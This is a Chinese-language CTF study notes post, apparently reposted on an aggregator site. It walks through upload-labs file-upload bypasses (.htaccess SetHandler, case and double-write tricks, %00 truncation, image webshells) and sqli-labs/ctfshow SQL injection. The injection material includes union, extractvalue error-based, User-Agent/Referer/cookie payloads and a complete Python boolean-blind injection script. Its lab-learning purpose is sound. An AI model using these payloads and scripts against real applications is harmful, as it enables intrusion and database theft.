当前位置: 首页 > article >正文

upload

(上传一句话木马,用蚁剑链接验证是否成功/传有回显的:<?php phpinfo();?>)

学看代码

#function checkfile(){}:定义了一个名叫checkfile的函数

#var file=方法.(获取名为‘upload_file’的元素)[获取哪些,第一行].获取元素的value属性

【if】判断1:是否上传了

#var 允许上传文件类型:.jpg .png .gif

提取文件后缀名

【if】判断2:检查文件,不符合要求就返回错误

$(var)申明变量

【】判断1:检查$_POST数组中是否有‘submit’(提交键名称)

【】判断2:检查上传路径是否存在

【】判断3:判断文件内容类型

['upload_file']:这是$_FILES数组中的一个元素,对应于表单中name属性为upload_file<input type="file">元素

['type']$_FILES['upload_file']数组中的一个键,它包含了上传文件的MIME类型

【】路径:UPLOAD_PATH . '/' . $_FILES['upload_file']['name']

点是PHP中的字符串连接操作符,UPLOAD_PATH/上传文件名连接起来,形成一个完整的文件路径

【】判断1、2:上传了文件

(定义不允许上传类型的后缀的数组)

(文件名处理)删头尾空格,删末尾点;

(找后缀处理)找最后一个点之后部分,小写后缀,去除后缀中‘::$DATA’,去除后缀头尾的空

【】判断3:检查文件扩展名是否在禁止上传的扩展名列表中

构造上传文件的目标路径(包括一个基于当前日期和时间的目录,以及一个随机数,以减少文件名冲突的可能性)

【】再判断上传的文件从临时目录移动到目标目录是否成功

#严谨了后缀,(禁了ini,没禁htaceess)

#(没禁ini)

WP

一、前端验证:禁用js

更通用做法

后缀1.jpg,bp抓包改1.php

或删除js代码(新文件后缀html)+action="上传地址"

二、(MIME:Content-Type)

bp抓包改成源码中允许上传的type

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235722.png" alt="屏幕截图 2024-12-20 235722" style="zoom: 50%;" />

三、前端验证(黑名单:格式后缀)【特殊解析后缀:】

<img src="C:\Users\34652\Pictures\Screenshots\屏幕截图 2024-12-20 235826.png" alt="屏幕截图 2024-12-20 235826" style="zoom:50%;" />

【.png怎么执行】四、(黑名单:禁用特殊解析后缀;防止大小写绕过)

htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。

(网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能)

通俗点来说,利用这个文件,修改服务器的配置,让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。

上传一个同名.htaccess文件(文件名必须一致)SetHandler application/x-httpd-php

五、(少了大小写绕过:利用)

.PHp

六,七、(少了收尾去空),(少了收尾去点)【Windows】

八、(少了去除字符串)

九、十(只匹配替换一次)双写绕过

.pphphp

十一、十二、(后缀名是白名单,但看别的函参)

$save_path:%00截断

(用bp,url解码)

十三、

图片马,末尾加码

十四、getimagesize

函数的重点——fread2字节:

POINTs:

POST有什么特点:账户登录页面

读报错信息:for the right syntax to use near 类似的...

判断是否存在sql注入

联合注入,

报错注入:extractvalue()、updatexml()、group by()

sql注入——报错注入-CSDN博客

布尔盲注

import requests
import time

url = "http://43d7c6c4-a8ab-41f3-8e14-fc32c023ca20.challenge.ctf.show/"
payload = {
	"uname" : "",
	"passwd" : "123456",
	"submit" : "Submit"
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		# 跑库名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})-- ".format(i, mid)

		# 跑表名
		#"-1\" or 0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctfshow'),{0},1))>{1})-- ".format(i, mid)

		# 跑列名
		#"-1\" or 0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'flagb'),{0},1))>{1})-- ".format(i,mid)

		#######################
		#"-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		payload["uname"] ="-1\" or 0^" + "(ascii(substr((select(flag4s)from(ctfshow.flagb)),{0},1))>{1})-- ".format(i, mid)

		html = requests.post(url,data=payload)
		print(payload)
		if "/images/flag.jpg" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

问为什么不能用--+注释:

-- ;--+;#

多了个Base64编码,且读取要用到【select reverse()】
 

11:双参数

1

1':有报错

1' or 1=1#

1' union select 1,2#

回显位是2

uname=1' and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata--+&passwd=123456&submit=Submit

(table_name)

information_schema.tables

where table_schema='ctfshow'--+【schema_name】

(column_name)

information_schema.columns

where table_name='flagugsd'--+

uname=1' and 1=2 union select 1,group_concat(flag43s) from ctfshow.flagugsd--+&passwd=123456&submit=Submit

12:

1;1'

1":有报错

1") or 1=1#

1") union select 1,2#

13:单引号

用\报错

14:双引号

15:(没有报错信息)布尔盲注

测闭合,测回显位(盲注不用)

16:布尔盲注

1") or = --+登陆成功

17:【密码RESET界面】报错注入【代码有报错】

查看源码:

$value(账户名)获取、处理(删除\,转义特殊字符,数字变整数)

从$update注入

uname=DUMB&passwd=123456&submit=Submit' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+

18:(ip)

返回了User Agent【U-A注入】

【POST:

uname=DUMB&passwd=DUMB&submit=Submit】

【schema_name】

' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) and '1'='1

【table_name】

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e)) and '1'='1

【column_name】

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e)) and '1'='1

【获取字段值】

' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

【逆读】

' and extractvalue(1,concat(0x7e,(select reverse(group_concat(flag4)) from ctfshow.flag),0x7e)) and '1'='1

19:referer注入

(和U-A一样)

20:cookie注入

登录得到回显(包括了自己的cookie)

【检查了POST,存在COOKIE方式提交的uname变量

猜测在header里的cookie进行注入

1'测注入点,测闭合方式

爆库

uname=' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

21:

多了个Base64编码

该版本sqli-labs结束.


http://www.kler.cn/a/568375.html

相关文章:

  • python流水线自动化项目教程
  • 从零开始开发纯血鸿蒙应用之语音朗读
  • Python核心技术,Django学习基础入门教程(附环境安装包)
  • 国自然面上项目|基于多模态MR影像的胶质母细胞瘤高危区域定位及预后预测研究|基金申请·25-02-28
  • LINUX基础 - 网络基础 [一]
  • 【ComfyUI】[进阶工作流] 高级采样器与Refiner的工作流优化
  • 6.6.5 SQL访问控制
  • 鸿蒙启动页开发
  • 【音视频】SIP(推流中涉及SIP信息分析)
  • 【软路由】ImmortalWrt 编译指南:从入门到精通
  • SQL Server 视图的更新排查及清除缓存
  • agent实现路径规划
  • ZYNQ-PL实践课堂(三)IP核之MMCM/PLL
  • 想学大模型,但分不清longchain,huggingface,ollama各种工具之间区别?
  • 机器学习的三个基本要素
  • 每天一个Flutter开发小项目 (9) : Flutter状态管理进阶 - Provider构建你的简易购物车应用
  • go如何排查某个依赖是哪里引入的
  • openssl下aes128算法CFB模式加解密运算实例
  • 【C】初阶数据结构8 -- 链式二叉树
  • javaEE初阶————多线程初阶(5)